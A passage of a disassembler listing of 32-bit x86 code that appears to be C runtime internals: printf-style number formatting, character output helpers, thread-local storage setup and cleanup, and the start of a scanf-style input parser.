loc_42DFB8: ; CODE XREF: sub_42DBAD+1E9j
sub eax, 69h
jz loc_42E092
sub eax, 5
jz loc_42E068
dec eax
jz loc_42E055
dec eax
jz short loc_42E025
sub eax, 3
jz loc_42DDDA
dec eax
dec eax
jz loc_42E096
sub eax, 3
jnz loc_42E1B7
mov [ebp+var_2C], 27h
jmp short loc_42E033
; ---------------------------------------------------------------------------
loc_42DFF7: ; CODE XREF: sub_42DBAD+270j
; sub_42DBAD+27Aj
sub eax, ecx
sar eax, 1
jmp loc_42E1B4
; ---------------------------------------------------------------------------
loc_42E000: ; CODE XREF: sub_42DBAD+24Fj
test ecx, ecx
jnz short loc_42E00D
mov ecx, off_453218
mov [ebp+var_8], ecx
loc_42E00D: ; CODE XREF: sub_42DBAD+455j
mov eax, ecx
loc_42E00F: ; CODE XREF: sub_42DBAD+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_42E01E
cmp byte ptr [eax], 0
jz short loc_42E01E
inc eax
jmp short loc_42E00F
; ---------------------------------------------------------------------------
loc_42E01E: ; CODE XREF: sub_42DBAD+467j
; sub_42DBAD+46Cj
sub eax, ecx
jmp loc_42E1B4
; ---------------------------------------------------------------------------
loc_42E025: ; CODE XREF: sub_42DBAD+425j
mov [ebp+var_10], 8
loc_42E02C: ; CODE XREF: sub_42DBAD+201j
mov [ebp+var_2C], 7
loc_42E033: ; CODE XREF: sub_42DBAD+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42E09D
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42E09D
; ---------------------------------------------------------------------------
loc_42E055: ; CODE XREF: sub_42DBAD+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42E09D
or byte ptr [ebp+var_4+1], 2
jmp short loc_42E09D
; ---------------------------------------------------------------------------
loc_42E068: ; CODE XREF: sub_42DBAD+417j
lea eax, [ebp+arg_8]
push eax
call sub_42E38C
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_42E081
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_42E086
; ---------------------------------------------------------------------------
loc_42E081: ; CODE XREF: sub_42DBAD+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_42E086: ; CODE XREF: sub_42DBAD+4D2j
mov [ebp+var_28], 1
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42E092: ; CODE XREF: sub_42DBAD+2F7j
; sub_42DBAD+40Ej
or [ebp+var_4], 40h
loc_42E096: ; CODE XREF: sub_42DBAD+432j
mov [ebp+var_C], 0Ah
loc_42E09D: ; CODE XREF: sub_42DBAD+491j
; sub_42DBAD+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_42E0AF
lea eax, [ebp+arg_8]
push eax
call sub_42E399
pop ecx
jmp short loc_42E0F0
; ---------------------------------------------------------------------------
loc_42E0AF: ; CODE XREF: sub_42DBAD+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_42E0D6
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42E0CB
call sub_42E38C
pop ecx
movsx eax, ax
loc_42E0C8: ; CODE XREF: sub_42DBAD+527j
; sub_42DBAD+539j
cdq
jmp short loc_42E0F0
; ---------------------------------------------------------------------------
loc_42E0CB: ; CODE XREF: sub_42DBAD+510j
call sub_42E38C
pop ecx
movzx eax, ax
jmp short loc_42E0C8
; ---------------------------------------------------------------------------
loc_42E0D6: ; CODE XREF: sub_42DBAD+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42E0E8
call sub_42E38C
pop ecx
jmp short loc_42E0C8
; ---------------------------------------------------------------------------
loc_42E0E8: ; CODE XREF: sub_42DBAD+531j
call sub_42E38C
pop ecx
xor edx, edx
loc_42E0F0: ; CODE XREF: sub_42DBAD+500j
; sub_42DBAD+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_42E111
test edx, edx
jg short loc_42E111
jl short loc_42E100
test eax, eax
jnb short loc_42E111
loc_42E100: ; CODE XREF: sub_42DBAD+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_42E115
; ---------------------------------------------------------------------------
loc_42E111: ; CODE XREF: sub_42DBAD+547j
; sub_42DBAD+54Bj ...
mov esi, eax
mov edi, edx
loc_42E115: ; CODE XREF: sub_42DBAD+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_42E11E
and edi, 0
loc_42E11E: ; CODE XREF: sub_42DBAD+56Cj
cmp [ebp+var_10], 0
jge short loc_42E12D
mov [ebp+var_10], 1
jmp short loc_42E131
; ---------------------------------------------------------------------------
loc_42E12D: ; CODE XREF: sub_42DBAD+575j
and [ebp+var_4], 0FFFFFFF7h
loc_42E131: ; CODE XREF: sub_42DBAD+57Ej
mov eax, esi
or eax, edi
jnz short loc_42E13B
and [ebp+var_1C], 0
loc_42E13B: ; CODE XREF: sub_42DBAD+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_42E141: ; CODE XREF: sub_42DBAD+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_42E151
mov eax, esi
or eax, edi
jz short loc_42E18C
loc_42E151: ; CODE XREF: sub_42DBAD+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_42BD00
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_42BD80
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_42E182
add ebx, [ebp+var_2C]
loc_42E182: ; CODE XREF: sub_42DBAD+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_42E141
; ---------------------------------------------------------------------------
loc_42E18C: ; CODE XREF: sub_42DBAD+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_42E1B7
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42E1AA
test eax, eax
jnz short loc_42E1B7
loc_42E1AA: ; CODE XREF: sub_42DBAD+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_42E1B4: ; CODE XREF: sub_42DBAD+35Fj
; sub_42DBAD+406j ...
mov [ebp+var_C], eax
loc_42E1B7: ; CODE XREF: sub_42DBAD+21Bj
; sub_42DBAD+2FDj ...
cmp [ebp+var_28], 0
jnz loc_42E2B5 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_42E1EF
test bh, 1
jz short loc_42E1D4
mov [ebp+var_16], 2Dh
jmp short loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E1D4: ; CODE XREF: sub_42DBAD+61Fj
test bl, 1
jz short loc_42E1DF
mov [ebp+var_16], 2Bh
jmp short loc_42E1E8
; ---------------------------------------------------------------------------
loc_42E1DF: ; CODE XREF: sub_42DBAD+62Aj
test bl, 2
jz short loc_42E1EF
mov [ebp+var_16], 20h
loc_42E1E8: ; CODE XREF: sub_42DBAD+625j
; sub_42DBAD+630j
mov [ebp+var_1C], 1
loc_42E1EF: ; CODE XREF: sub_42DBAD+61Aj
; sub_42DBAD+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_42E20F
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_42E323
add esp, 10h
loc_42E20F: ; CODE XREF: sub_42DBAD+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_42E354
add esp, 10h
test bl, 8
jz short loc_42E241
test bl, 4
jnz short loc_42E241
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_42E323
add esp, 10h
loc_42E241: ; CODE XREF: sub_42DBAD+67Bj
; sub_42DBAD+680j
cmp [ebp+var_24], 0
jz short loc_42E288
cmp [ebp+var_C], 0
jle short loc_42E288
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_42E256: ; CODE XREF: sub_42DBAD+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_433190
pop ecx
test eax, eax
pop ecx
jle short loc_42E29D
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_42E354
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_42E256
jmp short loc_42E29D
; ---------------------------------------------------------------------------
loc_42E288: ; CODE XREF: sub_42DBAD+698j
; sub_42DBAD+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_42E354
add esp, 10h
loc_42E29D: ; CODE XREF: sub_42DBAD+6BCj
; sub_42DBAD+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_42E2B5 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_42E323
add esp, 10h
loc_42E2B5: ; CODE XREF: sub_42DBAD+68j
; sub_42DBAD+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_42DBD9
loc_42E2C6: ; CODE XREF: sub_42DBAD+1Fj
; sub_42DBAD+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_42DBAD endp
; ---------------------------------------------------------------------------
off_42E2CE dd offset loc_42DD4C ; DATA XREF: sub_42DBAD+6Er
dd offset loc_42DC22 ; jump table for switch statement
dd offset loc_42DC3D
dd offset loc_42DC89
dd offset loc_42DCC0
dd offset loc_42DCC8
dd offset loc_42DCFD
dd offset loc_42DD90
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E2EE proc near ; CODE XREF: sub_42DBAD+1BDp
; sub_42DBAD+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_42E307
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_42E312
; ---------------------------------------------------------------------------
loc_42E307: ; CODE XREF: sub_42E2EE+9j
push ecx
push [ebp+arg_0]
call sub_42DA95
pop ecx
pop ecx
loc_42E312: ; CODE XREF: sub_42E2EE+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_42E31F
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42E31F: ; CODE XREF: sub_42E2EE+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_42E2EE endp
; =============== S U B R O U T I N E =======================================
sub_42E323 proc near ; CODE XREF: sub_42DBAD+65Ap
; sub_42DBAD+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_42E351
mov esi, [esp+8+arg_C]
loc_42E334: ; CODE XREF: sub_42E323+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_42E2EE
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_42E351
mov eax, edi
dec edi
test eax, eax
jg short loc_42E334
loc_42E351: ; CODE XREF: sub_42E323+Bj
; sub_42E323+25j
pop edi
pop esi
retn
sub_42E323 endp
; =============== S U B R O U T I N E =======================================
sub_42E354 proc near ; CODE XREF: sub_42DBAD+670p
; sub_42DBAD+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42E388
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_42E36A: ; CODE XREF: sub_42E354+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_42E2EE
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42E388
mov eax, ebx
dec ebx
test eax, eax
jg short loc_42E36A
loc_42E388: ; CODE XREF: sub_42E354+Cj
; sub_42E354+2Bj
pop edi
pop esi
pop ebx
retn
sub_42E354 endp
; =============== S U B R O U T I N E =======================================
sub_42E38C proc near ; CODE XREF: sub_42DBAD+E5p
; sub_42DBAD+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42E38C endp
; =============== S U B R O U T I N E =======================================
sub_42E399 proc near ; CODE XREF: sub_42DBAD+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42E399 endp
; =============== S U B R O U T I N E =======================================
sub_42E3A9 proc near ; CODE XREF: sub_42DBAD+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42E3A9 endp
; =============== S U B R O U T I N E =======================================
sub_42E3B7 proc near ; CODE XREF: sub_42C4A4:loc_42C50Fp
push esi
call sub_42D9F6
call dword_43714C ; TlsAlloc
cmp eax, 0FFFFFFFFh
mov dword_453220, eax
jz short loc_42E407
push 74h
push 1
call sub_42B2CA
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42E407
push esi
push dword_453220
call dword_437228 ; TlsSetValue
test eax, eax
jz short loc_42E407
push esi
call sub_42E40B
pop ecx
call dword_437150 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
push 1
mov [esi], eax
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E407: ; CODE XREF: sub_42E3B7+14j
; sub_42E3B7+25j ...
xor eax, eax
pop esi
retn
sub_42E3B7 endp
; =============== S U B R O U T I N E =======================================
sub_42E40B proc near ; CODE XREF: sub_42AAB1+16p
; sub_42E3B7+39p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword ptr [eax+50h], offset dword_453818
mov dword ptr [eax+14h], 1
retn
sub_42E40B endp
; =============== S U B R O U T I N E =======================================
sub_42E41E proc near ; CODE XREF: sub_429ABFp sub_429ACCp ...
push esi
push edi
call dword_43716C ; RtlGetLastWin32Error
push dword_453220
mov edi, eax
call dword_437204 ; TlsGetValue
mov esi, eax
test esi, esi
jnz short loc_42E479
push 74h
push 1
call sub_42B2CA
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42E471
push esi
push dword_453220
call dword_437228 ; TlsSetValue
test eax, eax
jz short loc_42E471
push esi
call sub_42E40B
pop ecx
call dword_437150 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
jmp short loc_42E479
; ---------------------------------------------------------------------------
loc_42E471: ; CODE XREF: sub_42E41E+2Bj
; sub_42E41E+3Cj
push 10h
call sub_42C5AC
pop ecx
loc_42E479: ; CODE XREF: sub_42E41E+1Aj
; sub_42E41E+51j
push edi
call dword_437208 ; RtlSetLastWin32Error
mov eax, esi
pop edi
pop esi
retn
sub_42E41E endp
; =============== S U B R O U T I N E =======================================
sub_42E485 proc near ; CODE XREF: sub_42ABBB+2Fp
arg_0 = dword ptr 4
mov eax, dword_453220
cmp eax, 0FFFFFFFFh
jz locret_42E524
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_42E4A9
push eax
call dword_437204 ; TlsGetValue
mov esi, eax
test esi, esi
jz short loc_42E515
loc_42E4A9: ; CODE XREF: sub_42E485+15j
mov eax, [esi+24h]
test eax, eax
jz short loc_42E4B7
push eax
call sub_429822
pop ecx
loc_42E4B7: ; CODE XREF: sub_42E485+29j
mov eax, [esi+28h]
test eax, eax
jz short loc_42E4C5
push eax
call sub_429822
pop ecx
loc_42E4C5: ; CODE XREF: sub_42E485+37j
mov eax, [esi+30h]
test eax, eax
jz short loc_42E4D3
push eax
call sub_429822
pop ecx
loc_42E4D3: ; CODE XREF: sub_42E485+45j
mov eax, [esi+38h]
test eax, eax
jz short loc_42E4E1
push eax
call sub_429822
pop ecx
loc_42E4E1: ; CODE XREF: sub_42E485+53j
mov eax, [esi+40h]
test eax, eax
jz short loc_42E4EF
push eax
call sub_429822
pop ecx
loc_42E4EF: ; CODE XREF: sub_42E485+61j
mov eax, [esi+44h]
test eax, eax
jz short loc_42E4FD
push eax
call sub_429822
pop ecx
loc_42E4FD: ; CODE XREF: sub_42E485+6Fj
mov eax, [esi+50h]
cmp eax, offset dword_453818
jz short loc_42E50E
push eax
call sub_429822
pop ecx
loc_42E50E: ; CODE XREF: sub_42E485+80j
push esi
call sub_429822
pop ecx
loc_42E515: ; CODE XREF: sub_42E485+22j
push 0
push dword_453220
call dword_437228 ; TlsSetValue
pop esi
locret_42E524: ; CODE XREF: sub_42E485+8j
retn
sub_42E485 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E525 proc near ; CODE XREF: sub_429D3E+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_42EF2B
mov edi, [ebp+arg_0]
jmp short loc_42E554
; ---------------------------------------------------------------------------
loc_42E54F: ; CODE XREF: sub_42E525+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42E554: ; CODE XREF: sub_42E525+28j
cmp dword_4535A4, 1
jle short loc_42E56C
movzx eax, al
push 8
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42E57B
; ---------------------------------------------------------------------------
loc_42E56C: ; CODE XREF: sub_42E525+36j
mov ecx, off_453398
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_42E57B: ; CODE XREF: sub_42E525+45j
cmp eax, ebx
jz short loc_42E5B5
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42EFB2
pop ecx
pop ecx
push eax
call sub_42EF9B
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_42C47C
add esp, 0Ch
loc_42E5A3: ; CODE XREF: sub_42E525+8Ej
test eax, eax
jz short loc_42E5B5
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_42C47C
pop ecx
jmp short loc_42E5A3
; ---------------------------------------------------------------------------
loc_42E5B5: ; CODE XREF: sub_42E525+58j
; sub_42E525+80j
cmp byte ptr [esi], 25h
jnz loc_42EE97
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_42E5EC: ; CODE XREF: sub_42E525+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_4535A4, 1
jle short loc_42E609
movzx eax, bl
push 4
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42E618
; ---------------------------------------------------------------------------
loc_42E609: ; CODE XREF: sub_42E525+D3j
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42E618: ; CODE XREF: sub_42E525+E2j
test eax, eax
jz short loc_42E62E
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E62E: ; CODE XREF: sub_42E525+F5j
cmp ebx, 4Eh
jg short loc_42E671
jz short loc_42E693
cmp ebx, 2Ah
jz short loc_42E66C
cmp ebx, 46h
jz short loc_42E693
cmp ebx, 49h
jz short loc_42E64E
cmp ebx, 4Ch
jnz short loc_42E680
inc [ebp+var_D]
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E64E: ; CODE XREF: sub_42E525+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42E680
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42E680
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E66C: ; CODE XREF: sub_42E525+113j
inc [ebp+var_E]
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E671: ; CODE XREF: sub_42E525+10Cj
cmp ebx, 68h
jz short loc_42E68D
cmp ebx, 6Ch
jz short loc_42E685
cmp ebx, 77h
jz short loc_42E688
loc_42E680: ; CODE XREF: sub_42E525+122j
; sub_42E525+12Dj ...
inc [ebp+var_F]
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E685: ; CODE XREF: sub_42E525+154j
inc [ebp+var_D]
loc_42E688: ; CODE XREF: sub_42E525+159j
inc [ebp+var_5]
jmp short loc_42E693
; ---------------------------------------------------------------------------
loc_42E68D: ; CODE XREF: sub_42E525+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42E693: ; CODE XREF: sub_42E525+107j
; sub_42E525+10Ej ...
cmp [ebp+var_F], 0
jz loc_42E5EC
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_42E6B8
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_42E6B8: ; CODE XREF: sub_42E525+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_42E6D6
mov al, [esi]
cmp al, 53h
jz short loc_42E6D2
cmp al, 43h
jz short loc_42E6D2
or [ebp+var_5], 0FFh
jmp short loc_42E6D6
; ---------------------------------------------------------------------------
loc_42E6D2: ; CODE XREF: sub_42E525+1A1j
; sub_42E525+1A5j
mov [ebp+var_5], 1
loc_42E6D6: ; CODE XREF: sub_42E525+19Bj
; sub_42E525+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_42E70F
cmp esi, 63h
jz short loc_42E700
cmp esi, 7Bh
jz short loc_42E700
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42EFB2
pop ecx
jmp short loc_42E70B
; ---------------------------------------------------------------------------
loc_42E700: ; CODE XREF: sub_42E525+1C5j
; sub_42E525+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42EF81
loc_42E70B: ; CODE XREF: sub_42E525+1D9j
pop ecx
mov [ebp+var_14], eax
loc_42E70F: ; CODE XREF: sub_42E525+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42E71F
cmp [ebp+var_C], eax
jz loc_42EEFB
loc_42E71F: ; CODE XREF: sub_42E525+1EFj
cmp esi, 6Fh
jg loc_42E986
jz loc_42EC38
cmp esi, 63h
jz loc_42E963
cmp esi, 64h
jz loc_42EC38
jle loc_42E9B0
cmp esi, 67h
jle short loc_42E783
cmp esi, 69h
jz short loc_42E76B
cmp esi, 6Eh
jnz loc_42E9B0
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_42EE66
jmp loc_42EE8C
; ---------------------------------------------------------------------------
loc_42E76B: ; CODE XREF: sub_42E525+229j
push 64h
pop esi
loc_42E76E: ; CODE XREF: sub_42E525+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_42E9F8
mov [ebp+var_17], 1
jmp loc_42E9FD
; ---------------------------------------------------------------------------
loc_42E783: ; CODE XREF: sub_42E525+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42E79F
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42E7A4
; ---------------------------------------------------------------------------
loc_42E79F: ; CODE XREF: sub_42E525+26Aj
cmp ebx, 2Bh
jnz short loc_42E7BB
loc_42E7A4: ; CODE XREF: sub_42E525+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42E7BE
; ---------------------------------------------------------------------------
loc_42E7BB: ; CODE XREF: sub_42E525+27Dj
mov edi, [ebp+arg_0]
loc_42E7BE: ; CODE XREF: sub_42E525+294j
cmp [ebp+var_20], 0
jz short loc_42E7CD
cmp [ebp+var_C], 15Dh
jle short loc_42E7D4
loc_42E7CD: ; CODE XREF: sub_42E525+29Dj
mov [ebp+var_C], 15Dh
loc_42E7D4: ; CODE XREF: sub_42E525+2A6j
; sub_42E525+2F2j
cmp dword_4535A4, 1
jle short loc_42E7E9
push 4
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42E7F4
; ---------------------------------------------------------------------------
loc_42E7E9: ; CODE XREF: sub_42E525+2B6j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 4
loc_42E7F4: ; CODE XREF: sub_42E525+2C2j
test eax, eax
jz short loc_42E819
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42E819
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42E7D4
; ---------------------------------------------------------------------------
loc_42E819: ; CODE XREF: sub_42E525+2D1j
; sub_42E525+2DBj
cmp byte_4535A8, bl
jnz short loc_42E887
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42E887
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
mov al, byte_4535A8
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42E842: ; CODE XREF: sub_42E525+360j
cmp dword_4535A4, 1
jle short loc_42E857
push 4
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42E862
; ---------------------------------------------------------------------------
loc_42E857: ; CODE XREF: sub_42E525+324j
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 4
loc_42E862: ; CODE XREF: sub_42E525+330j
test eax, eax
jz short loc_42E887
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42E887
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42E842
; ---------------------------------------------------------------------------
loc_42E887: ; CODE XREF: sub_42E525+2FAj
; sub_42E525+304j ...
cmp [ebp+var_1C], 0
jz loc_42E91F
cmp ebx, 65h
jz short loc_42E89F
cmp ebx, 45h
jnz loc_42E91F
loc_42E89F: ; CODE XREF: sub_42E525+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42E91F
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_42E8C6
mov [esi], al
inc esi
jmp short loc_42E8CB
; ---------------------------------------------------------------------------
loc_42E8C6: ; CODE XREF: sub_42E525+39Aj
cmp ebx, 2Bh
jnz short loc_42E8E9
loc_42E8CB: ; CODE XREF: sub_42E525+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_42E8DA
and [ebp+var_C], eax
jmp short loc_42E8E9
; ---------------------------------------------------------------------------
loc_42E8DA: ; CODE XREF: sub_42E525+3AEj
; sub_42E525+3F8j
inc [ebp+var_4]
push edi
call sub_42EF81
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42E8E9: ; CODE XREF: sub_42E525+3A4j
; sub_42E525+3B3j
cmp dword_4535A4, 1
jle short loc_42E8FE
push 4
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42E909
; ---------------------------------------------------------------------------
loc_42E8FE: ; CODE XREF: sub_42E525+3CBj
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 4
loc_42E909: ; CODE XREF: sub_42E525+3D7j
test eax, eax
jz short loc_42E91F
